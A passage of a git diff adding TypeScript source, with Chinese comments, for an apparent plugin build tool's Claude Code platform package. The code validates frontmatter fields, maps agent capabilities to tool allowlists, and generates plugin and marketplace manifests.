允许补充的 Claude Code 专属字段。 */ +const SKILL_FIELDS = new Set(['allowedTools', 'model', 'context', 'agent']); + +/** Agent 允许补充的 Claude Code 专属字段。 */ +const AGENT_FIELDS = new Set([ + 'tools', 'disallowedTools', 'effort', 'maxTurns', 'skills', 'memory', 'background', 'isolation', +]); + +/** Claude Code Agent 支持的推理投入等级。 */ +const EFFORT_LEVELS = new Set(['low', 'medium', 'high', 'xhigh', 'max']); + +/** Claude Code Agent 支持的持久记忆范围。 */ +const MEMORY_SCOPES = new Set(['user', 'project', 'local']); + +/** Claude Code Agent 当前支持的隔离模式。 */ +const ISOLATION_MODES = new Set(['worktree']); + +/** 不同 Component 类型对应的 Claude Code 专属字段集合。 */ +const FIELDS_BY_KIND = { + command: COMMAND_FIELDS, + skill: SKILL_FIELDS, + agent: AGENT_FIELDS, +} satisfies Record>; + +/** 把未知 JSON 字段收窄为普通只读对象。 */ +type UnknownFields = Readonly>; + +/** + * 判断值是否为非空字符串。 + * + * @param value 待检查的 Component 平台字段。 + * @returns 字段可以安全写入 Frontmatter 时返回 true。 + */ +function isNonEmptyString(value: unknown): value is string { + return typeof value === 'string' && value.trim().length > 0; +} + +/** + * 判断值是否为不含空项和重复项的字符串数组。 + * + * @param value 待检查的 Component 平台字段。 + * @returns 字段可以稳定写入 Frontmatter 时返回 true。 + */ +function isUniqueStringArray(value: unknown): value is readonly string[] { + return Array.isArray(value) + && value.every(isNonEmptyString) + && new Set(value).size === value.length; +} + +/** + * 提交一个带完整字段路径的 Claude Code Component Schema 错误。 + * + * @param context Core 提供的字段校验上下文。 + * @param field 当前错误字段名。 + * @param message 面向作者的稳定错误信息。 + */ +function reportFieldError( + context: PlatformComponentValidationContext, + field: string, + message: string, +): void { + context.reportDiagnostic({ + code: 'CLAUDE_COMPONENT_FIELD_INVALID', + severity: 'error', + message, + fieldPath: ['platforms', 'claude-code', field], + }); +} + +/** + * 校验 Claude Code Component 专属字段,不允许 raw Frontmatter 逃逸。 + * + * @param context Core 规范化并冻结后的字段校验上下文。 + */ +export function validateClaudeComponentFields(context: PlatformComponentValidationContext): void { + /** 当前 Component 类型明确允许的字段名。 */ + const allowed = FIELDS_BY_KIND[context.component.kind]; + for (const field of Object.keys(context.fields)) { + if (!allowed.has(field)) { + context.reportDiagnostic({ + code: 'CLAUDE_COMPONENT_FIELD_UNKNOWN', + severity: 'error', + message: `Unknown Claude Code ${context.component.kind} field "${field}".`, + fieldPath: ['platforms', 'claude-code', field], + }); + } + } + + /** fields 是便于按字段名执行精确 Schema 校验的只读视图。 */ + const fields: UnknownFields = context.fields; + /** 数组型工具或 Skill 字段使用同一非空、去重规则。 */ + const arrayFields = ['allowedTools', 'tools', 'disallowedTools', 'skills']; + for (const field of arrayFields) { + if (fields[field] !== undefined && !isUniqueStringArray(fields[field])) + reportFieldError(context, field, `${field} must be an array of unique non-empty strings.`); + } + /** 普通字符串字段不能接收空字符串或其他 JSON 类型。 */ + const stringFields = ['model', 'agent']; + for (const field of stringFields) { + if (fields[field] !== undefined && !isNonEmptyString(fields[field])) + reportFieldError(context, field, `${field} must be a non-empty string.`); + } + if (fields.context !== undefined && fields.context !== 'fork') + reportFieldError(context, 'context', 'context must be "fork".'); + if (fields.effort !== undefined && !EFFORT_LEVELS.has(String(fields.effort))) + reportFieldError(context, 'effort', 'effort must be low, medium, high, xhigh, or max.'); + if (fields.maxTurns !== undefined && (!Number.isInteger(fields.maxTurns) || Number(fields.maxTurns) <= 0)) + reportFieldError(context, 'maxTurns', 'maxTurns must be a positive integer.'); + if (fields.memory !== undefined && !MEMORY_SCOPES.has(String(fields.memory))) + reportFieldError(context, 'memory', 'memory must be user, project, or local.'); + if (fields.background !== undefined && typeof fields.background !== 'boolean') + reportFieldError(context, 'background', 'background must be a boolean.'); + if (fields.isolation !== undefined && !ISOLATION_MODES.has(String(fields.isolation))) + reportFieldError(context, 'isolation', 'isolation must be "worktree".'); +} + +/** + * 读取 Component 中已由 Scanner 校验的 Claude Code 专属字段。 + * + * @param component 当前准备转换的规范 Component。 + * @returns 缺省为空对象的平台字段视图。 + */ +function claudeFields(component: Component): UnknownFields { + return component.platforms['claude-code'] ?? {}; +} + +/** + * 把 Core 可移植 Agent 能力映射为 Claude Code 工具白名单。 + * + * @param capabilities Agent 声明的规范能力。 + * @returns 去重并稳定排序的 Claude Code 工具名称。 + */ +function claudeTools(capabilities: readonly AgentCapability[]): string[] { + /** 多种能力可能指向同一工具,因此先使用 Set 去重。 */ + const result = new Set(); + for (const capability of capabilities) { + for (const tool of ({ + 'filesystem:read': ['Read', 'Glob', 'Grep'], + 'filesystem:write': ['Write', 'Edit'], + 'search': ['Glob', 'Grep'], + 'shell': ['Bash'], + 'network': ['WebFetch'], + 'delegate': ['Agent'], + } satisfies Record)[capability]) + result.add(tool); + } + // WebSearch 同时具有检索和联网语义,只有两项能力都声明时才能授予,避免扩大 Agent 权限。 + if (capabilities.includes('search') && capabilities.includes('network')) + result.add('WebSearch'); + return [...result].sort((left, right) => left.localeCompare(right, 'en')); +} + +/** + * 把 Core 模型档位映射为 Claude Code Agent 稳定模型别名。 + * + * @param model 平台中立的模型档位。 + * @returns Claude Code Agent Frontmatter 使用的模型值。 + */ +function claudeModel(model: 'inherit' | 'fast' | 'capable'): string { + if (model === 'fast') + return 'haiku'; + if (model === 'capable') + return 'sonnet'; + return 'inherit'; +} + +/** + * 把 Claude Code Frontmatter 的工具列表序列化为官方逗号分隔形式。 + * + * @param tools 已完成非空和去重校验的精确工具名列表。 + * @returns 非空列表的稳定字符串,空列表返回 undefined。 + */ +function toolList(tools: readonly string[] | undefined): string | undefined { + return tools === undefined || tools.length === 0 ? undefined : tools.join(', '); +} + +/** + * 把规范 Commands、Skills 与 Agents 转换为 Claude Code 原生文件。 + * + * @param context Platform generateBundle 生命周期上下文。 + * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 + */ +export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { + /** 当前 Platform 累计生成的 Component Artifact。 */ + const artifacts: ArtifactInput[] = []; + for (const command of context.project.commands) { + /** 当前 Command 已验证的 Claude Code 专属字段。 */ + const fields = claudeFields(command); + /** Claude Code Command Frontmatter 的结构化字段。 */ + const frontmatter: Record = { + 'description': command.description, + 'argument-hint': command.argumentHint, + 'allowed-tools': fields.allowedTools, + 'model': fields.model, + }; + artifacts.push(bytesArtifact( + `commands/${command.id}.md`, + markdownWithFrontmatter(frontmatter, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')), + )); + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'component', + level: 'native', + reason: 'Claude Code supports plugin Commands and native argument placeholders.', + }); + } + + for (const skill of context.project.skills) { + /** 当前 Skill 已验证的 Claude Code 专属字段。 */ + const fields = claudeFields(skill); + artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ + 'name': skill.id, + 'description': skill.description, + 'user-invocable': skill.invocation.user, + 'disable-model-invocation': !skill.invocation.model, + 'allowed-tools': fields.allowedTools, + 'model': fields.model, + 'context': fields.context, + 'agent': fields.agent, + }, skill.body))); + for (const auxiliary of skill.auxiliaryFiles) { + artifacts.push({ + path: `skills/${skill.id}/${auxiliary.path}`, + source: { type: 'file', path: auxiliary.sourcePath }, + mode: auxiliary.mode, + }); + } + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'component', + level: 'native', + reason: 'Claude Code supports plugin Skills and both invocation switches.', + }); + } + + for (const agent of context.project.agents) { + /** 当前 Agent 已验证的 Claude Code 专属字段。 */ + const fields = claudeFields(agent); + /** 精确平台工具约束存在时优先于规范能力的保守映射。 */ + const tools = fields.tools as readonly string[] | undefined ?? claudeTools(agent.capabilities); + artifacts.push(bytesArtifact(`agents/${agent.id}.md`, markdownWithFrontmatter({ + name: agent.id, + description: agent.description, + model: claudeModel(agent.model), + tools: toolList(tools), + disallowedTools: toolList(fields.disallowedTools as readonly string[] | undefined), + effort: fields.effort, + maxTurns: fields.maxTurns, + skills: fields.skills, + memory: fields.memory, + background: fields.background, + isolation: fields.isolation, + }, agent.body))); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'native', + reason: 'Claude Code supports plugin Agents, model aliases, and tool constraints.', + }); + } + return artifacts; +} + +/** + * 判断工程是否包含某类 Component,以便清单只声明实际目录。 + * + * @param project 已完成扫描和依赖图校验的规范工程。 + * @param kind 待检查的 Component 类型。 + * @returns 对应目录需要进入 Plugin 清单时返回 true。 + */ +export function hasComponents(project: PluginProject, kind: Component['kind']): boolean { + if (kind === 'command') + return project.commands.length > 0; + if (kind === 'skill') + return project.skills.length > 0; + return project.agents.length > 0; +} diff --git a/packages/platforms/claude-code/src/index.ts b/packages/platforms/claude-code/src/index.ts new file mode 100644 index 0000000..2be0560 --- /dev/null +++ b/packages/platforms/claude-code/src/index.ts @@ -0,0 +1,85 @@ +import { + definePlatform, + type AcpluginPlatform, + type JsonObject, +} from '@acplugin/core'; +import { generateComponentArtifacts, validateClaudeComponentFields } from './components.js'; +import { + createManifestDocument, + marketplaceArtifacts, + MARKETPLACE_MANIFEST_PATH, + serializeDocuments, + validatePlatformOptions, +} from './manifest.js'; +import type { ClaudeCodeMarketplaceOptions, ClaudeCodePlatformOptions } from './types.js'; +import { validateClaudeBundle } from './validator.js'; + +export type { + ClaudeCodeMarketplaceOptions, + ClaudeCodeMarketplaceOwner, + ClaudeCodePlatformOptions, +} from './types.js'; + +/** Claude Code Platform 的稳定开放 ID。 */ +export const PLATFORM_ID = 'claude-code' as const; +/** Claude Code Platform 实现的 Core API 版本。 */ +export const PLATFORM_API_VERSION = '1' as const; + +/** + * 创建独立且可由 Core 品牌校验的 Claude Code Platform。 + * + * @param options 严格度覆盖和 Claude Code Marketplace 选项。 + * @returns Claude Code Plugin 交付实现。 + */ +export function claudeCode(options: ClaudeCodePlatformOptions = {}): AcpluginPlatform { + validatePlatformOptions(options); + /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + const { strict, ...platformOptions } = options; + return definePlatform({ + id: PLATFORM_ID, + apiVersion: PLATFORM_API_VERSION, + deliveryType: 'plugin', + ...(strict === undefined ? {} : { strict }), + options: platformOptions as unknown as JsonObject, + validateComponentFields: validateClaudeComponentFields, + /** prepare 创建 Platform 自有 Manifest,扩展点随后由 Core 接管。 */ + prepare: context => ({ documents: [createManifestDocument(context)], artifacts: [] }), + /** generateBundle 只读取完成 Adapter 合并后的不可变 Draft。 */ + generateBundle: (context) => { + /** Platform 转换后新增的 Commands、Skills 与 Agents。 */ + const componentArtifacts = generateComponentArtifacts(context); + return { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + ...context.artifacts, + ...componentArtifacts, + ...serializeDocuments(context.documents), + ], + }; + }, + validateBundle: validateClaudeBundle, + /** Marketplace 可选分发始终复用已经验证的完整主 Plugin。 */ + generateDistributions: async (context, primaryUnits) => { + /** 工厂未声明 marketplace 时不生成空壳 Distribution。 */ + const marketplace = context.options.marketplace as ClaudeCodeMarketplaceOptions | undefined; + if (marketplace === undefined) + return []; + if (primaryUnits.length === 0) + throw new Error('Claude Code Marketplace requires at least one validated primary Plugin.'); + /** 任一主 Plugin 都不能预先占用 Distribution 根清单的保留语义。 */ + if (primaryUnits.some(primary => primary.artifacts.some(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH))) { + context.reportDiagnostic({ + code: 'CLAUDE_MARKETPLACE_PATH_CONFLICT', + severity: 'error', + message: 'The primary Plugin already contains the reserved Marketplace manifest path.', + }); + return []; + } + /** 单项保持根布局,多项由 Platform 确定性放入各自 Plugin 子目录。 */ + const artifacts = await marketplaceArtifacts(context, marketplace, primaryUnits); + return [{ id: 'marketplace', role: 'distribution', type: 'marketplace', artifacts }]; + }, + }); +} diff --git a/packages/platforms/claude-code/src/manifest.ts b/packages/platforms/claude-code/src/manifest.ts new file mode 100644 index 0000000..5b30fb3 --- /dev/null +++ b/packages/platforms/claude-code/src/manifest.ts @@ -0,0 +1,372 @@ +import { promises as fs } from 'node:fs'; +import { + bytesArtifact, + stableJson, + type ArtifactInput, + type DeliveryUnit, + type DraftDocument, + type JsonObject, + type PlatformDistributionContext, + type PlatformPrepareContext, + type PluginMetadata, +} from '@acplugin/core'; +import { hasComponents } from './components.js'; +import type { + ClaudeCodeMarketplaceManifest, + ClaudeCodeMarketplaceOptions, + ClaudeCodeMarketplacePlugin, + ClaudeCodeMarketplacePluginSource, + ClaudeCodePlatformOptions, + ClaudeCodePluginManifest, +} from './types.js'; + +/** Claude Code Plugin 清单的稳定逻辑 Document ID。 */ +export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; + +/** Claude Code Plugin 清单相对于安装根的固定路径。 */ +export const PLUGIN_MANIFEST_PATH = '.claude-plugin/plugin.json'; + +/** Claude Code Marketplace 清单相对于 Distribution 根的固定路径。 */ +export const MARKETPLACE_MANIFEST_PATH = '.claude-plugin/marketplace.json'; + +/** Claude Code Platform 写入 Artifact 时使用的固定 owner。 */ +const PLATFORM_OWNER = 'platform:claude-code' as const; + +/** Marketplace 名称允许使用的小写 kebab-case 规则。 */ +const MARKETPLACE_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** + * 校验可选字符串字段,避免空白展示值进入 Marketplace 清单。 + * + * @param value Platform 工厂收到的未知字符串候选。 + * @param field 用于错误提示的字段名称。 + */ +function assertOptionalString(value: unknown, field: string): void { + if (value !== undefined && (typeof value !== 'string' || value.trim().length === 0)) + throw new TypeError(`Claude Code ${field} must be a non-empty string.`); +} + +/** + * 在 Platform 工厂边界校验 Marketplace 选项。 + * + * @param marketplace 用户声明的 Marketplace 根级选项。 + */ +export function validateMarketplaceOptions(marketplace: ClaudeCodeMarketplaceOptions | undefined): void { + if (marketplace === undefined) + return; + /** Marketplace 类型边界允许的显式字段集合。 */ + const allowed = new Set(['name', 'owner', 'category', 'tags']); + for (const field of Object.keys(marketplace)) { + if (!allowed.has(field)) + throw new TypeError(`Unknown Claude Code marketplace option "${field}".`); + } + assertOptionalString(marketplace.name, 'marketplace.name'); + if (marketplace.name !== undefined && !MARKETPLACE_NAME_PATTERN.test(marketplace.name)) + throw new TypeError('Claude Code marketplace.name must use lowercase kebab-case.'); + if (marketplace.owner !== undefined) { + /** Marketplace owner 只允许官方 name、email 与 url 字段。 */ + const ownerFields = new Set(['name', 'email', 'url']); + for (const field of Object.keys(marketplace.owner)) { + if (!ownerFields.has(field)) + throw new TypeError(`Unknown Claude Code marketplace.owner option "${field}".`); + } + assertOptionalString(marketplace.owner.name, 'marketplace.owner.name'); + assertOptionalString(marketplace.owner.email, 'marketplace.owner.email'); + assertOptionalString(marketplace.owner.url, 'marketplace.owner.url'); + } + assertOptionalString(marketplace.category, 'marketplace.category'); + if (marketplace.tags !== undefined) { + if (!Array.isArray(marketplace.tags) + || marketplace.tags.some(tag => typeof tag !== 'string' || tag.trim().length === 0) + || new Set(marketplace.tags).size !== marketplace.tags.length) { + throw new TypeError('Claude Code marketplace.tags must contain unique non-empty strings.'); + } + } +} + +/** + * 校验 Claude Code Platform 工厂只接收公开声明的顶层选项。 + * + * @param options 用户传入且可能来自宽类型变量的 Platform 选项。 + */ +export function validatePlatformOptions(options: ClaudeCodePlatformOptions): void { + /** Claude Code Platform 工厂公开支持的顶层字段集合。 */ + const allowed = new Set(['strict', 'defaultEnabled', 'marketplace']); + for (const field of Object.keys(options)) { + if (!allowed.has(field)) + throw new TypeError(`Unknown Claude Code Platform option "${field}".`); + } + if (options.strict !== undefined && typeof options.strict !== 'boolean') + throw new TypeError('Claude Code strict must be a boolean.'); + if (options.defaultEnabled !== undefined && typeof options.defaultEnabled !== 'boolean') + throw new TypeError('Claude Code defaultEnabled must be a boolean.'); + validateMarketplaceOptions(options.marketplace); +} + +/** + * 创建只包含官方字段和实际 Component 引用的 Claude Code Plugin 清单。 + * + * @param context Platform prepare 阶段的规范工程与报告上下文。 + * @returns 可供 Extension add-only patch 的初始清单。 + */ +function createPluginManifest(context: PlatformPrepareContext): ClaudeCodePluginManifest { + /** 所有平台共享且已由 Core 验证的 Plugin 元数据。 */ + const metadata = context.project.metadata; + return { + name: metadata.name, + version: metadata.version, + description: metadata.description, + ...(metadata.displayName === undefined ? {} : { displayName: metadata.displayName }), + ...(metadata.author === undefined ? {} : { author: metadata.author }), + ...(metadata.homepage === undefined ? {} : { homepage: metadata.homepage }), + ...(metadata.repository === undefined ? {} : { repository: metadata.repository }), + ...(metadata.license === undefined ? {} : { license: metadata.license }), + ...(metadata.keywords === undefined ? {} : { keywords: metadata.keywords }), + ...(context.options.defaultEnabled === undefined ? {} : { defaultEnabled: context.options.defaultEnabled as boolean }), + ...(hasComponents(context.project, 'command') ? { commands: './commands/' } : {}), + ...(hasComponents(context.project, 'skill') ? { skills: './skills/' } : {}), + ...(hasComponents(context.project, 'agent') ? { agents: './agents/' } : {}), + }; +} + +/** + * 报告统一元数据在 Claude Code Plugin 清单中的最终去向。 + * + * @param context Platform prepare 阶段的元数据报告出口。 + */ +function reportMetadata(context: PlatformPrepareContext): void { + /** 当前工程中始终存在并写入清单的必填元数据字段。 */ + const required = ['name', 'version', 'description'] as const; + for (const field of required) { + context.reportMetadata({ + field, + disposition: 'emitted', + output: `${PLUGIN_MANIFEST_PATH}.${field}`, + reason: `Claude Code plugin.json supports ${field}.`, + }); + } + /** 只有作者实际声明后才需要报告的可选元数据。 */ + const optional = ['displayName', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; + for (const field of optional) { + if (context.project.metadata[field] !== undefined) { + context.reportMetadata({ + field, + disposition: 'emitted', + output: `${PLUGIN_MANIFEST_PATH}.${field}`, + reason: `Claude Code plugin.json supports ${field}.`, + }); + } + } +} + +/** + * 创建 Claude Code Platform 的初始 Plugin Manifest Document。 + * + * @param context Platform prepare 生命周期上下文。 + * @returns 只开放 Hooks 与 MCP 根字段的单一 Document。 + */ +export function createManifestDocument(context: PlatformPrepareContext): DraftDocument { + reportMetadata(context); + return { + id: PLUGIN_MANIFEST_ID, + path: PLUGIN_MANIFEST_PATH, + format: 'json', + owner: PLATFORM_OWNER, + value: createPluginManifest(context) as unknown as JsonObject, + // 两个扩展点均为根字段空位;Extension 只能新增,不能替换 Platform 已有字段。 + extensionPoints: [['hooks'], ['mcpServers']], + }; +} + +/** + * 将完成 Extension patch 的 Claude Code Document 序列化为 Artifact。 + * + * @param documents 当前 Platform Draft 中由 Core 冻结的完整文档列表。 + * @returns 包含固定 Plugin 清单路径的序列化 Artifact。 + */ +export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { + /** 按逻辑 ID 查找而不是根据物理路径猜测语义的 Plugin 清单。 */ + const manifest = documents.find(document => document.id === PLUGIN_MANIFEST_ID); + if (!manifest || manifest.path !== PLUGIN_MANIFEST_PATH || manifest.format !== 'json') + throw new Error('Claude Code Platform Draft is missing its canonical Plugin Manifest Document.'); + if (documents.length !== 1) + throw new Error('Claude Code Platform received an unknown Document.'); + return [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson(manifest.value))]; +} + +/** + * 从统一元数据和显式 Marketplace 选项推导 Marketplace owner。 + * + * @param metadata 规范 Plugin 元数据。 + * @param options 用户声明的 Claude Code Marketplace 选项。 + * @returns 满足 Marketplace 必填字段的所有者身份。 + */ +function marketplaceOwner( + metadata: PluginMetadata, + options: ClaudeCodeMarketplaceOptions, +): ClaudeCodeMarketplaceManifest['owner'] { + if (options.owner !== undefined) + return options.owner; + if (metadata.author !== undefined) { + return { + name: metadata.author.name, + ...(metadata.author.email === undefined ? {} : { email: metadata.author.email }), + ...(metadata.author.url === undefined ? {} : { url: metadata.author.url }), + }; + } + return { name: metadata.name }; +} + +/** 一个已验证主单元在 Marketplace Distribution 中的稳定布局。 */ +interface MarketplacePluginLayout { + readonly unit: DeliveryUnit; + readonly root: string; + readonly source: ClaudeCodeMarketplacePluginSource; +} + +/** + * 从已验证主单元读取 Claude Code Plugin 清单。 + * + * @param unit Marketplace Builder 收到的同平台主单元。 + * @returns 已通过基础身份检查的 Plugin 清单。 + */ +async function readPrimaryPluginManifest(unit: DeliveryUnit): Promise { + /** Platform 主单元中的规范 Plugin Manifest Artifact。 */ + const artifact = unit.artifacts.find(candidate => candidate.path === PLUGIN_MANIFEST_PATH); + if (artifact === undefined) + throw new Error(`Claude Code primary DeliveryUnit "${unit.id}" is missing ${PLUGIN_MANIFEST_PATH}.`); + /** 内存 Artifact 直接复制字节,文件 Artifact 只读取 Core 已验证的普通文件来源。 */ + const bytes = artifact.source.type === 'bytes' + ? artifact.source.value + : await fs.readFile(artifact.source.path); + /** fatal UTF-8 解码阻止替换字符掩盖损坏的主单元清单。 */ + const source = new TextDecoder('utf-8', { fatal: true }).decode(bytes); + /** JSON.parse 结果在读取必填字段前保持 unknown。 */ + const value: unknown = JSON.parse(source); + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new Error(`Claude Code primary DeliveryUnit "${unit.id}" has an invalid Plugin Manifest.`); + /** 经过对象形态检查后的清单候选。 */ + const manifest = value as Record; + if (typeof manifest.name !== 'string' + || typeof manifest.version !== 'string' + || typeof manifest.description !== 'string') { + throw new Error(`Claude Code primary DeliveryUnit "${unit.id}" has incomplete Plugin metadata.`); + } + return manifest as unknown as ClaudeCodePluginManifest; +} + +/** + * 为一个或多个主单元选择兼容当前单 Plugin 输出的自包含布局。 + * + * @param primaryUnits 已由 Core 验证的同 Platform 主单元。 + * @returns 单项保持根目录,多项进入 `plugins//` 的稳定布局。 + */ +function marketplaceLayouts(primaryUnits: readonly DeliveryUnit[]): readonly MarketplacePluginLayout[] { + if (primaryUnits.length === 0) + throw new Error('Claude Code Marketplace requires at least one validated primary Plugin.'); + /** 按单元 ID 排序,避免未来编排器的集合遍历顺序影响 Marketplace 字节。 */ + const units = [...primaryUnits].sort((left, right) => left.id.localeCompare(right.id, 'en')); + if (new Set(units.map(unit => unit.id)).size !== units.length) + throw new Error('Claude Code Marketplace received duplicate primary DeliveryUnit IDs.'); + if (units.length === 1) + return [{ unit: units[0]!, root: '', source: './' }]; + return units.map(unit => ({ + unit, + root: `plugins/${unit.id}`, + source: `./plugins/${unit.id}`, + })); +} + +/** + * 从主 Plugin 清单创建一个 Marketplace 安装条目。 + * + * @param manifest 当前主单元自己的 Plugin 元数据。 + * @param source 当前 Plugin 在 Distribution 根内的相对路径。 + * @param options Marketplace 级展示选项。 + * @returns 与被引用 Plugin Manifest 身份一致的条目。 + */ +function createMarketplacePlugin( + manifest: ClaudeCodePluginManifest, + source: ClaudeCodeMarketplacePluginSource, + options: ClaudeCodeMarketplaceOptions, +): ClaudeCodeMarketplacePlugin { + return { + name: manifest.name, + source, + description: manifest.description, + version: manifest.version, + ...(manifest.author === undefined ? {} : { author: manifest.author }), + ...(manifest.homepage === undefined ? {} : { homepage: manifest.homepage }), + ...(manifest.repository === undefined ? {} : { repository: manifest.repository }), + ...(manifest.license === undefined ? {} : { license: manifest.license }), + ...(manifest.keywords === undefined ? {} : { keywords: manifest.keywords }), + ...(options.category === undefined ? {} : { category: options.category }), + ...(options.tags === undefined ? {} : { tags: options.tags }), + strict: true, + }; +} + +/** + * 创建自包含 Claude Code Marketplace 清单。 + * + * @param context Platform Distribution 生命周期上下文。 + * @param options 用户声明或空对象触发的 Marketplace 选项。 + * @param plugins 已按 Distribution 布局创建的 Plugin 条目。 + * @returns 包含一个或多个本地 Plugin 的 Marketplace 清单。 + */ +export function createMarketplaceManifest( + context: PlatformDistributionContext, + options: ClaudeCodeMarketplaceOptions, + plugins: readonly ClaudeCodeMarketplacePlugin[], +): ClaudeCodeMarketplaceManifest { + /** Marketplace 根展示信息仍归当前 Platform 工厂上下文所有。 */ + const metadata = context.project.metadata; + return { + name: options.name ?? `${metadata.name}-marketplace`, + owner: marketplaceOwner(metadata, options), + description: metadata.description, + version: metadata.version, + metadata: { pluginRoot: './' }, + plugins, + }; +} + +/** + * 组合已验证主单元并创建完整 Marketplace Distribution Artifact。 + * + * @param context Platform Distribution 生命周期上下文。 + * @param options 用户声明的 Marketplace 选项。 + * @param primaryUnits 已验证的同 Platform 主单元数组。 + * @returns 自包含 Plugin 内容和固定 Marketplace 清单。 + */ +export async function marketplaceArtifacts( + context: PlatformDistributionContext, + options: ClaudeCodeMarketplaceOptions, + primaryUnits: readonly DeliveryUnit[], +): Promise { + /** 当前输入数量对应的兼容布局。 */ + const layouts = marketplaceLayouts(primaryUnits); + /** Marketplace 中按布局顺序生成的安装条目。 */ + const plugins: ClaudeCodeMarketplacePlugin[] = []; + /** Distribution 中复用主单元 source 与 mode 的完整 Artifact。 */ + const artifacts: ArtifactInput[] = []; + /** layout 表示当前主 Plugin 及其 Distribution 安装根。 */ + for (const layout of layouts) { + /** 当前主单元已经验证的 Plugin Manifest。 */ + const manifest = await readPrimaryPluginManifest(layout.unit); + plugins.push(createMarketplacePlugin(manifest, layout.source, options)); + /** artifact 表示当前 Plugin 要原样复制的文件。 */ + for (const artifact of layout.unit.artifacts) { + artifacts.push({ + path: layout.root === '' ? artifact.path : `${layout.root}/${artifact.path}`, + source: artifact.source, + mode: artifact.mode, + }); + } + } + artifacts.push(bytesArtifact( + MARKETPLACE_MANIFEST_PATH, + stableJson(createMarketplaceManifest(context, options, plugins)), + )); + return artifacts; +} diff --git a/packages/platforms/claude-code/src/types.ts b/packages/platforms/claude-code/src/types.ts new file mode 100644 index 0000000..cb400b4 --- /dev/null +++ b/packages/platforms/claude-code/src/types.ts @@ -0,0 +1,75 @@ +/** Claude Code Marketplace 所有者的显式身份。 */ +export interface ClaudeCodeMarketplaceOwner { + readonly name: string; + readonly email?: string; + readonly url?: string; +} + +/** Claude Code Marketplace 的平台专属根级展示选项。 */ +export interface ClaudeCodeMarketplaceOptions { + readonly name?: string; + readonly owner?: ClaudeCodeMarketplaceOwner; + readonly category?: string; + readonly tags?: readonly string[]; +} + +/** 创建 Claude Code Platform 时可声明的公开选项。 */ +export interface ClaudeCodePlatformOptions { + readonly strict?: boolean; + readonly defaultEnabled?: boolean; + readonly marketplace?: ClaudeCodeMarketplaceOptions; +} + +/** Claude Code Plugin 清单中可由 Platform 和 Extension 共同组成的字段。 */ +export interface ClaudeCodePluginManifest { + readonly name: string; + readonly version: string; + readonly description: string; + readonly displayName?: string; + readonly author?: { + readonly name: string; + readonly email?: string; + readonly url?: string; + }; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords?: readonly string[]; + readonly defaultEnabled?: boolean; + readonly commands?: string; + readonly skills?: string; + readonly agents?: string; + readonly hooks?: string | Readonly>; + readonly mcpServers?: string | Readonly>; +} + +/** Claude Code 自包含 Marketplace 中一个 Plugin 的相对安装根。 */ +export type ClaudeCodeMarketplacePluginSource = './' | `./plugins/${string}`; + +/** Claude Code Marketplace 文件中的单个 Plugin 条目。 */ +export interface ClaudeCodeMarketplacePlugin { + readonly name: string; + readonly source: ClaudeCodeMarketplacePluginSource; + readonly description: string; + readonly version: string; + readonly author?: ClaudeCodePluginManifest['author']; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords?: readonly string[]; + readonly category?: string; + readonly tags?: readonly string[]; + readonly strict: true; +} + +/** Claude Code 自包含 Marketplace 的根清单。 */ +export interface ClaudeCodeMarketplaceManifest { + readonly name: string; + readonly owner: ClaudeCodeMarketplaceOwner; + readonly description: string; + readonly version: string; + readonly metadata: { + readonly pluginRoot: './'; + }; + readonly plugins: readonly ClaudeCodeMarketplacePlugin[]; +} diff --git a/packages/platforms/claude-code/src/validator.ts b/packages/platforms/claude-code/src/validator.ts new file mode 100644 index 0000000..cfef1a2 --- /dev/null +++ b/packages/platforms/claude-code/src/validator.ts @@ -0,0 +1,678 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from './manifest.js'; + +/** Claude Code Plugin 清单允许出现的官方根字段。 */ +const PLUGIN_FIELDS = new Set([ + '$schema', 'name', 'version', 'description', 'displayName', 'author', 'homepage', 'repository', 'license', + 'keywords', 'metadata', 'defaultEnabled', 'commands', 'agents', 'skills', 'hooks', 'mcpServers', 'lspServers', + 'outputStyles', 'experimental', 'dependencies', +]); + +/** 由当前 Platform 生成并需要执行安装根引用验证的 Component 字段。 */ +const COMPONENT_REFERENCE_FIELDS = ['commands', 'skills', 'agents'] as const; + +/** 允许按路径或内联对象表达的 Extension 字段。 */ +const EXTENSION_REFERENCE_FIELDS = ['hooks', 'mcpServers'] as const; + +/** Claude Code Plugin 名称允许使用的小写 kebab-case 规则。 */ +const PLUGIN_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Claude Code 当前公开的全部 Hook 事件,包括可移植事件和平台专属事件。 */ +const HOOK_EVENTS = new Set([ + 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', 'PermissionRequest', 'PostToolUse', + 'PreCompact', 'PostCompact', 'SubagentStart', 'SubagentStop', 'Stop', 'Setup', 'UserPromptExpansion', + 'PermissionDenied', 'PostToolUseFailure', 'PostToolBatch', 'Notification', 'MessageDisplay', 'TaskCreated', + 'TaskCompleted', 'StopFailure', 'TeammateIdle', 'InstructionsLoaded', 'ConfigChange', 'CwdChanged', + 'DirectoryAdded', 'FileChanged', 'WorktreeCreate', 'WorktreeRemove', 'Elicitation', 'ElicitationResult', +]); + +/** Claude Code Hook 配置文件顶层允许出现的字段。 */ +const HOOK_CONFIG_FIELDS = new Set(['description', 'hooks']); + +/** 单个 Claude Code Hook matcher 